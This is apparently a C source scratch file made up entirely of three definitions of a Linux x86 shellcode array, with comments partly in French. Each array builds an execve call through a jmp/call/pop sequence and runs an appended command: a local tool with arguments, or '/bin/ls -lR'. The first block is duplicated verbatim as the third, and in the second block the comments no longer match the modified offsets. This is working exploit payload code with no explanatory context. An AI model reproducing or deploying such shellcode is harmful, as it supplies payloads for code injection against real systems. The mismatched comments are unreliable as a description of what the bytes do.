char shellcode[] = 
	"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\xeb\x31"     // jump callme
	"\x5e"
	"\x89\x76\x70" // *argv = /bin/sh
	"\x8d\x46\x1b" // +3: lea 1b(%esi), %eax // 1b=offset du nick
	"\x89\x46\x74" // +3: mov %eax, 74(%esi)
	"\x8d\x46\x1e" // +3: lea 1e(%esi), %eax // 1e=offset du mail
	"\x89\x46\x78" // +3: mov %eax, 78(%esi)
	"\x31\xc0"
	"\x88\x46\x1a" // z-terminate exe
	"\x88\x46\x1d" // +3: z-terminate nick
	"\x88\x46\x2b" // +3: z-terminate mail
	"\x89\x46\x7c" // *envp = 0
	"\xb0\x0b"
	"\x89\xf3"
	"\x8d\x4e\x70" // argv=
	"\x8d\x56\x7c" // envp=
	"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xca\xff\xff\xff" // call back
	"/home/marc/tools/validnivo jj leetmail@leet ";
//       0123456789abcdef0123456789abcdef0123456789abc

char shellcode[] = 
	"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\xeb\x31"     // jump callme
	"\x5e"
	"\x89\x76\x70" // *argv = /bin/sh
	"\x8d\x46\x08" // +3: lea 1b(%esi), %eax // 1b=offset du nick
	"\x89\x46\x74" // +3: mov %eax, 74(%esi)
	"\x8d\x46\x1e" // +3: lea 1e(%esi), %eax // 1e=offset du mail
	"\x89\x46\x7c" // +3: mov %eax, 78(%esi)
	"\x31\xc0"
	"\x88\x46\x07" // z-terminate exe
	"\x88\x46\x0b" // +3: z-terminate nick
	"\x88\x46\x0b" // +3: z-terminate mail
	"\x89\x46\x78" // *envp = 0
	"\xb0\x0b"
	"\x89\xf3"
	"\x8d\x4e\x70" // argv=
	"\x8d\x56\x78" // envp=
	"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xca\xff\xff\xff" // call back
	"/bin/ls -lR ";
//       0123456789abc

char shellcode[] = 
	"\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\xeb\x31"     // jump callme
	"\x5e"
	"\x89\x76\x70" // *argv = /bin/sh
	"\x8d\x46\x1b" // +3: lea 1b(%esi), %eax // 1b=offset du nick
	"\x89\x46\x74" // +3: mov %eax, 74(%esi)
	"\x8d\x46\x1e" // +3: lea 1e(%esi), %eax // 1e=offset du mail
	"\x89\x46\x78" // +3: mov %eax, 78(%esi)
	"\x31\xc0"
	"\x88\x46\x1a" // z-terminate exe
	"\x88\x46\x1d" // +3: z-terminate nick
	"\x88\x46\x2b" // +3: z-terminate mail
	"\x89\x46\x7c" // *envp = 0
	"\xb0\x0b"
	"\x89\xf3"
	"\x8d\x4e\x70" // argv=
	"\x8d\x56\x7c" // envp=
	"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xca\xff\xff\xff" // call back
	"/home/marc/tools/validnivo jj leetmail@leet ";
//       0123456789abcdef0123456789abcdef0123456789abc